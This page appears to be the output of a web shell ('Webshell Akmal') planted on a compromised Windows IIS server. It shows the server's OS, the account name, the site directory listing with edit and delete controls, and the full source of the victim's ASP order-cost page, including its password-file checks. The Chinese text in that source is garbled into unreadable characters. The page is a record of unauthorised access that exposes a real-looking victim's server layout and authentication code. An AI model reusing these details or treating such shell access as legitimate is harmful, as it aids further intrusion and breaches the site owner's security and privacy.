Webshell Akmal archtte id
System:
Microsoft Windows NT 10.0.20348.0
Server:
Microsoft-IIS/10.0
User:
buyyou
Directory:
C:
\
MyData
\
WWW
\
asc365
\
Name
Size
Type
Actions
ASC365_CANADA
-
Directory
Rename
Delete
ASC365_Store01
-
Directory
Rename
Delete
aspnet_client
-
Directory
Rename
Delete
CompanyImage
-
Directory
Rename
Delete
TJGS_USA
-
Directory
Rename
Delete
zhijian
-
Directory
Rename
Delete
Memo.inc
0 bytes
.inc
Edit
Rename
Delete
web.config
213 bytes
.config
Edit
Rename
Delete
<html> <% loginnumber=session("Webpassed") if loginnumber<>"%asc365com%" then response.End() end if %> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <title>���ô�ASC365��˾���˶����ɱ���ѯϵͳ</title> <% Thispage ="http://" & Request.ServerVariables("SERVER_NAME") & ":" & Request.ServerVariables("Server_Port") & Request.ServerVariables("URL") Set fs=Server.CreateObject("Scripting.FileSystemObject") If (fs.FileExists(Server.MapPath("PW.PW")))=true then Set f=fs.OpenTextFile(Server.MapPath("PW.PW"), 1) Session.Timeout=500 PW1=trim(f.ReadLine) for i=1 to 6 f.ReadLine next PWGSMC=trim(f.ReadLine) if lcase(PW1)<> lcase(Session("ADPW1")) then Nextpage = Replace(lcase(Thispage),"dhcb_02.asp","PW.asp") Response.Redirect (Nextpage) end if f.Close Set f=Nothing else Nextpage = Replace(lcase(Thispage),"dhcb_02.asp","PW.asp") Response.Redirect (Nextpage) end if Set fs=Nothing Function YYMMDD(YMD) Y_Y = DatePart("yyyy",YMD) M_M = DatePart("m",YMD) : If Len(M_M) < 2 Then M_M = "0" & M_M D_D = DatePart("d",YMD) : If Len(D_D) < 2 Then D_D = "0" & D_D H_H = DatePart("h",YMD) : If Len(H_H) < 2 Then H_H = "0" & H_H N_N = DatePart("n",YMD) : If Len(N_N) < 2 Then N_N = "0" & N_N S_S = DatePart("s",YMD) : If Len(S_S) < 2 Then S_S = "0" & S_S YYMMDD = Y_Y & M_M & D_D & H_H & N_N & S_S end function %> </head> <body> <div align="center"><b><font color="#669900" face="Verdana" size="4">���ô�ASC365��˾���˷�����;����ɱ���ѯϵͳ</font><br><br></b></div> <br> <br> <% Thispage ="http://" & Request.ServerVariables("SERVER_NAME") & ":" & Request.ServerVariables("Server_Port") & Request.ServerVariables("URL") '��������URL set fs=Server.CreateObject("Scripting.FileSystemObject") RP=trim(Request.Querystring("RP")) Dim DHZTMX(50) '����������;��ϸ DIM DHZTMXJS '����������;��ϸ���� dim DHJE_Z '�������ϼƣ��ܴ���� dim DHJE_J '�������ϼƣ����ô� Temp=Server.MapPath("..\..\Admin") & "\CPDGGL" '��Ʒ��������Ŀ¼ set fo=fs.GetFolder(Temp) DHZTMXJS=0 for each x in fo.files Namee=x.Name if lcase(right(Namee,4))=".sss" then DHZTMX(DHZTMXJS)=left(Namee,len(Namee)-6) DHZTMXJS=DHZTMXJS+1 end if next set fo=nothing for i=0 to DHZTMXJS-1 for j=i+1 to DHZTMXJS-1 if DHZTMX(i)>DHZTMX(j) then YY=DHZTMX(i) DHZTMX(i)=DHZTMX(j) DHZTMX(j)=YY end if next next %> <table border="0" width="1000" height="25" style="border-collapse: collapse"> <% s=0 for ii= 0 to 50 if s=4 then %> </tr> <% s=0 end if if s=0 then %> <tr> <% end if %> <% if len(DHZTMX(ii))<>0 then %> <td height="20 " width="26"><font size="2" face="Verdana"><a href="<%= "?RP=" & DHZTMX(ii) %>"><b><%=DHZTMX(ii)%></b></a></font></td> <% s=s+1 end if next %> </table> <br> <table border="0" width="1000" height="15" style="border-collapse: collapse"> <tr> <% if len(RP)<>0 then %> <td height="20" width="1000" bgcolor="#800000"><p align="center"><font color="#FFFFFF" size="3" face="Verdana"><b><% =left(RP,4) %>��<% =mid(RP,5,2) %>��<% =mid(RP,7,2) %>�պ��˷������ô������ϸ��</b></font></td> <% else %> <td height="20" width="1000" bgcolor="#800000"><p align="center"><font color="#FFFFFF" size="3" face="Verdana"><b>��ѡ�������г��Ķ�����������</b></font></td> <% end if %> </tr> </table> <% 'dim DHMX(2000,13) '������ϸ:0���롢1���ơ�2��λ��3���������4���ٿ�桢5��;������6����������7˵����8��9���ۣ��ܴ������10��11���ۣ����ô�12��� dim DHMX(2000,13) '������ϸ:0���롢1���ơ�2��λ��3���������4���ٿ�桢5��;������6����������7ʵ�ʵ���������8˵����9���ۣ��ܴ������10��11���ۣ����ô�12��� dim DHMXJS dim DHBZ DHMXJS=0 if len(RP)<>0 then Temp=Server.MapPath("..\..\Admin") & "\CPDGGL\" & left(RP,4) '��ʷ��������Ŀ¼��һ��һ��Ŀ¼ If fs.FolderExists(Temp) <> true Then set fm1=fs.CreateFolder(Temp) set fm1=nothing end if Temp=Server.MapPath("..\..\Admin") & "\CPDGGL\" & RP & "DH.SSS" If (fs.FileExists(Temp))=true then Set f=fs.OpenTextFile(Temp, 1) DHMXJS=0 do while f.AtEndOfStream = false YY=Trim(f.ReadLine) if len(YY)<>0 then if left(YY,2)="@@" then YY=right(YY,len(YY)-2) str=Split(YY,"|") for i=0 to Ubound(str) DHMX(DHMXJS,i)=trim(str(i)) next DHMX(DHMXJS,8)=trim(str(7)) DHMX(DHMXJS,7)=trim(str(6)) if len(DHMX(DHMXJS,9))=0 then DHMX(DHMXJS,9)=0 if len(DHMX(DHMXJS,10))=0 then DHMX(DHMXJS,10)=0 if len(DHMX(DHMXJS,11))=0 then DHMX(DHMXJS,11)=0 if len(DHMX(DHMXJS,12))=0 then DHMX(DHMXJS,12)=0 DHMXJS=DHMXJS+1 else DHBZ=DHBZ & YY &chr(13)&chr(10) end if end if loop f.Close: Set f=Nothing response.write "<table border='1' width='1000' height='20' style='border-collapse: collapse' bordercolor='#e0e0e0'>" response.write "<tr>" response.write "<td width='40' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>���</td>" response.write "<td width='40' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>��Ʒ����</td>" response.write "<td width='340' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>�� Ʒ �� ��</td>" response.write "<td width='20' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>��λ</td>" response.write "<td width='40' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>���ٿ��</td>" response.write "<td width='40' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>�������</td>" 'response.write "<td width='40' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>��;����</td>" response.write "<td width='40' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>��������</td>" 'response.write "<td width='40' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>ʵ������</td>" response.write "<td width='60' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>�������</td>" response.write "<td width='60' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>������</td>" response.write "<td width='60' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>���㵥��</td>" response.write "<td width='60' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>������</td>" response.write "<td width='220' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>˵ ��</td>" response.write "</tr>" DHJE_Z=0 DHJE_J=0 for js=0 to DHMXJS-1 response.write "<tr>" response.write "<td width='40' height='20' align='center' valign='middle'>" & JS*1+1 &"</td>" response.write "<td width='40' height='20' align='center' valign='middle'>" & DHMX(JS,0) &"</td>" response.write "<td width='340' height='20' align='left' valign='middle'>" & DHMX(JS,1) &"</td>" response.write "<td width='20' height='20' align='center' valign='middle'>" & DHMX(JS,2) &"</td>" response.write "<td width='40' height='20' align='center' valign='middle'>" & DHMX(JS,4) &"</td>" response.write "<td width='40' height='20' align='center' valign='middle'>" & DHMX(JS,3) &"</td>" 'response.write "<td width='40' height='20' align='center' valign='middle'>" & DHMX(JS,5) &"</td>" response.write "<td width='40' height='20' align='center' valign='middle'>" & DHMX(JS,6) &"</td>" 'response.write "<td width='40' height='20'><input type='text' name='TT"&JS&"' size='5' value='"&DHMX(JS,7)&"'></td>" response.write "<td width='60' height='20' align='center' valign='middle'>" & DHMX(JS,9) &"</td>" response.write "<td width='60' height='20' align='center' valign='middle'>" & DHMX(JS,10) &"</td>" response.write "<td width='60' height='20' align='center' valign='middle'>" & DHMX(JS,11) &"</td>" response.write "<td width='60' height='20' align='center' valign='middle'>" & DHMX(JS,12) &"</td>" response.write "<td width='220' height='20'><input type='text' name='T2' size='30' value='" & DHMX(JS,8) &"'></td>" DHJE_Z=Round((DHJE_Z*1+DHMX(JS,10)*1),2) DHJE_J=Round((DHJE_J*1+DHMX(JS,12)*1),2) response.write "</tr>" next response.write "<tr>" response.write "<td width='40' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>���</td>" response.write "<td width='40' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>��Ʒ����</td>" response.write "<td width='340' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>�� Ʒ �� ��</td>" response.write "<td width='20' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>��λ</td>" response.write "<td width='40' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>���ٿ��</td>" response.write "<td width='40' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>�������</td>" 'response.write "<td width='40' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>��;����</td>" response.write "<td width='40' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>��������</td>" 'response.write "<td width='40' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>ʵ������</td>" response.write "<td width='60' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>�������</td>" response.write "<td width='60' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>������</td>" response.write "<td width='60' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>���㵥��</td>" response.write "<td width='60' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>������</td>" response.write "<td width='220' height='20' bgcolor='#DDDDDD' align='center' valign='middle'>˵ ��</td>" response.write "</tr>" response.write "<tr>" response.write "<td width='1000' height='20' colspan='12' bgcolor='#800000' align='center' valign='middle'>�� ע</td>" response.write "</tr>" response.write "<tr>" response.write "<td width='1000' height='80' colspan='12' align='center' valign='middle'><textarea rows='6' cols='138' name='s0'>" & DHBZ &"</textarea></td>" response.write "</tr>" response.write "<tr>" response.write "<td width='1000' height='20' colspan='12' bgcolor='#800000' align='center' valign='middle'><font color='#FFFFFF'>����������ϼƣ�������" & DHJE_Z & " ������ϼƣ�������" & DHJE_J &"</font></td>" response.write "</tr>" response.write "</table>" end if end if Set fs=Nothing %> </body> </html>